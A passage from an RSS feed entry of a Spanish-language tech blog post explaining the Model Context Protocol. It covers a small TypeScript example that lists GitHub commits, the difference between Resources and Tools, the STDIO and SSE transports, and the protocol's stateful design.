+&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;display:grid;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt; 1&lt;/span&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; { z } from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;zod&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt; 2&lt;/span&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; { githubRequest, buildUrl } from &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;../common/utils.js&amp;#34;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt; 3&lt;/span&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt; 4&lt;/span&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; ListCommitsSchema &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; z.object({&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt; 5&lt;/span&gt;&lt;span&gt;  owner&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; z.string(),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt; 6&lt;/span&gt;&lt;span&gt;  repo&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; z.string(),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt; 7&lt;/span&gt;&lt;span&gt;  sha&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; z.string().optional(),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt; 8&lt;/span&gt;&lt;span&gt;  page&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; z.number().optional(),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt; 9&lt;/span&gt;&lt;span&gt;  perPage&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; z.number().optional()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;10&lt;/span&gt;&lt;span&gt;});&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;11&lt;/span&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;12&lt;/span&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;export&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; listCommits(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;13&lt;/span&gt;&lt;span&gt;  owner&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; string,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;14&lt;/span&gt;&lt;span&gt;  repo&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; string,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;15&lt;/span&gt;&lt;span&gt;  page&lt;span style=&#34;color:#ff6ac1&#34;&gt;?:&lt;/span&gt; number,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;16&lt;/span&gt;&lt;span&gt;  perPage&lt;span style=&#34;color:#ff6ac1&#34;&gt;?:&lt;/span&gt; number,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;17&lt;/span&gt;&lt;span&gt;  sha&lt;span style=&#34;color:#ff6ac1&#34;&gt;?:&lt;/span&gt; string&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;18&lt;/span&gt;&lt;span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;19&lt;/span&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; githubRequest(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex; background-color:#3d3f4a&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;20&lt;/span&gt;&lt;span&gt;    buildUrl(&lt;span style=&#34;color:#5af78e&#34;&gt;`https://api.github.com/repos/&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;${&lt;/span&gt;owner&lt;span style=&#34;color:#5af78e&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;/&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;${&lt;/span&gt;repo&lt;span style=&#34;color:#5af78e&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;/commits`&lt;/span&gt;, {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;21&lt;/span&gt;&lt;span&gt;      page&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; page&lt;span style=&#34;color:#ff6ac1&#34;&gt;?&lt;/span&gt;.toString(),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;22&lt;/span&gt;&lt;span&gt;      per_page&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; perPage&lt;span style=&#34;color:#ff6ac1&#34;&gt;?&lt;/span&gt;.toString(),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;23&lt;/span&gt;&lt;span&gt;      sha&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;24&lt;/span&gt;&lt;span&gt;    })&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;25&lt;/span&gt;&lt;span&gt;  );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;26&lt;/span&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id=&#34;como-sabe-el-llm-que-accion-debe-realizar&#34;&gt;¿Cómo sabe el LLM qué acción debe realizar?&lt;/h4&gt;&#xA;&lt;p&gt;Esta es la parte mágica, el LLM puede &amp;ldquo;leer&amp;rdquo; las acciones disponibles del MCP y, basado en el prompt, decidir que acción debe ser ejecutada, entonces el MCP realizará la acción y devolverá la respuesta al LLM, después la respuesta será leída por el LLM, que generará una respuesta final para el usuario.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751225840/coffee-bytes/MCP-flow-diagram_jjziao_sfst5j.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751225840/coffee-bytes/MCP-flow-diagram_jjziao_sfst5j.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;MCP Flow Diagram&#34; width=&#34;1200&#34; height=&#34;573&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Hasta ahora he estado hablando de recursos y acciones, pero en el MCP estas dos acciones que se encargan de darle contexto a un LLM tienen nombres, por supuesto no iban a perder la oportunidad de darle branding a su protocolo.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;tipos-de-contexto-resources-y-tools&#34;&gt;Tipos de contexto: Resources y Tools&lt;/h2&gt;&#xA;&lt;p&gt;Los tipos de contexto del MCP se dividen en:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Resources&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Tools&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Sampling, realiza queries a otros modelos, menos común.&lt;/li&gt;&#xA;&lt;li&gt;Prompts, plantillas de promps, menos común&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h3 id=&#34;cual-es-el-tipo-de-contexto-resources&#34;&gt;¿Cuál es el tipo de contexto Resources?&lt;/h3&gt;&#xA;&lt;p&gt;Puedes pensar en los Resources como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;una petición &lt;em&gt;GET&lt;/em&gt; de una API REST&lt;/a&gt;&#xA;, &lt;strong&gt;destinada a obtener información, sin modificar nada&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h3 id=&#34;cual-es-el-tipo-de-contexto-tools&#34;&gt;¿Cuál es el tipo de contexto Tools?&lt;/h3&gt;&#xA;&lt;p&gt;Por otro lado, una tool sería el equivalente de una petición &lt;em&gt;POST&lt;/em&gt;, &lt;em&gt;UPDATE&lt;/em&gt;, &lt;em&gt;DELETE&lt;/em&gt; o &lt;em&gt;PATCH&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Piensa en las tools un mecanismo para permitir que un cliente realice modificaciones en tu servidor o servicio.&lt;/p&gt;&#xA;&lt;p&gt;Si te sientes más familiarizado con &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/como-crear-una-api-graphql-en-django-rapidamente-usando-graphene/&#34;&gt;APIs del tipo GraphQL&lt;/a&gt;&#xA;, puedes pensar en resources y tools como queries y mutations, respectivamente.&lt;/p&gt;&#xA;&lt;h2 id=&#34;como-se-comunica-el-mcp-con-los-servers&#34;&gt;¿Cómo se comunica el MCP con los servers?&lt;/h2&gt;&#xA;&lt;p&gt;El MCP tiene dos paradigmas de comunicación, uno de ellos es por medio del STDIO, o Standard Input Output, &lt;del&gt;sacado directamente de tus pesadillas programando en C #include &amp;lt;stdio.h&amp;gt;&lt;/del&gt; ideal para comunicaciones locales, por ejemplo con una base de datos local, como Postgres o SQL.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;El otro tipo es SSE o Server Sent Events, el cual realiza streaming de peticiones &lt;em&gt;POST&lt;/em&gt; (similar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/apis-de-alto-rendimiento-go-lang-grpc-y-protobuffers/&#34;&gt;al streaming de peticiones en gRPC del que te hablé&lt;/a&gt;&#xA;), ideal obviamente para comunicaciones que no ocurren en el mismo entorno.&lt;/p&gt;&#xA;&lt;h2 id=&#34;el-protocolo-mcp-es-stateful&#34;&gt;El protocolo MCP es Stateful&lt;/h2&gt;&#xA;&lt;p&gt;Otro aspecto a destacar, es que, a la fecha, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/modelcontextprotocol/specification/discussions/102&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;el protocolo requiere una conexión persistente entre cliente y servidor&lt;/a&gt;&#xA;, por lo que puede ser complicado para arquitecturas autoescalables que se adaptan a la demanda, además de ir completamente en contra de la corriente en un mundo que se esmera en volverse stateless.&lt;/p&gt;&#xA;&lt;p&gt;Solo para refrescar tu memoria:&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;Aspecto&lt;/th&gt;&#xA;          &lt;th&gt;Aplicación Stateless (Sin Estado)&lt;/th&gt;&#xA;          &lt;th&gt;Aplicación Stateful (Con Estado)&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Estado del Servidor&lt;/td&gt;&#xA;          &lt;td&gt;No almacena estado del cliente entre solicitudes&lt;/td&gt;&#xA;          &lt;td&gt;Mantiene estado del cliente entre solicitudes&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Datos de Sesión&lt;/td&gt;&#xA;          &lt;td&gt;Almacenamiento en el cliente (ej. cookies, tokens)&lt;/td&gt;&#xA;          &lt;td&gt;Almacenamiento en el servidor (ej. BD de sesión, memoria)&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Escalabilidad&lt;/td&gt;&#xA;          &lt;td&gt;Escalabilidad horizontal (sin afinidad requerida)&lt;/td&gt;&#xA;          &lt;td&gt;Requiere sesiones persistentes o replicación de estado&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Complejidad&lt;/td&gt;&#xA;          &lt;td&gt;Más simple de implementar y escalar&lt;/td&gt;&#xA;          &lt;td&gt;Más compleja debido a la gestión del estado&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Tolerancia a Fallos&lt;/td&gt;&#xA;          &lt;td&gt;Resiliente (las solicitudes pueden ir a cualquier servidor)&lt;/td&gt;&#xA;          &lt;td&gt;Vulnerable a fallos del servidor&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;Ejemplos&lt;/td&gt;&#xA;          &lt;td&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/buenas-practicas-y-diseno-de-una-api-rest/&#34;&gt;APIs REST (diseñadas correctamente), HTTP/HTTPS&lt;/a&gt;&#xA;&lt;/td&gt;&#xA;          &lt;td&gt;Aplicaciones monolíticas tradicionales, WebSockets&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;Por ahora es una discusión si permanecerá así, se implementarán versiones stateless o si habrá cambios al respecto. Después de todo este protocolo es nuevo y quien sabe que vaya a pasar en el futuro en el mundo de la AI, para ejemplos tenemos casos &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/devin-ai-el-supuesto-reemplazo-de-los-programadores/&#34;&gt;como el de Devin AI&lt;/a&gt;&#xA; y Rabbit R1.&lt;/p&gt;&#xA;&lt;p&gt;Si quieres saber más dale una leída a la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/modelcontextprotocol&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;documentación oficial del Model Context Protocol&lt;/a&gt;&#xA; y &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.anthropic.com/news/model-context-protocol&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;la introducción al MCP&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Si tienes dificultades para comprender el Protocolo de Contexto Modelo, te entiendo, vi muchos videos al respecto, pero no pude entenderlo, así que tomé mis notas al respecto y las convertí en una publicación para que puedas entenderlo sin esfuerzo. También escribí un post donde explico &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/como-crear-un-mcp-server-y-mcp-tools-desde-cero/&#34;&gt;como crear un MCP server y MCP tools desde cero&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;por-que-se-creo-el-model-context-protocol&#34;&gt;¿Por qué se creó el Model Context Protocol?&lt;/h2&gt;&#xA;&lt;p&gt;Uno de los usos más útiles de los LLM es consultarles sobre nuestros propios datos, para eso hay varias opciones, tales como realizar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/fine-tuning-de-un-llm-guia-practica-con-recursos/&#34;&gt;fine-tuning de un LLM&lt;/a&gt;&#xA; o RAG o pasárselos como contexto en la petición. ¿De dónde viene ese contexto? Pues prácticamente de cualquier lado, Github, una base de datos, tu sistema de archivos, una API (&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/apis-de-alto-rendimiento-go-lang-grpc-y-protobuffers/&#34;&gt;tipo 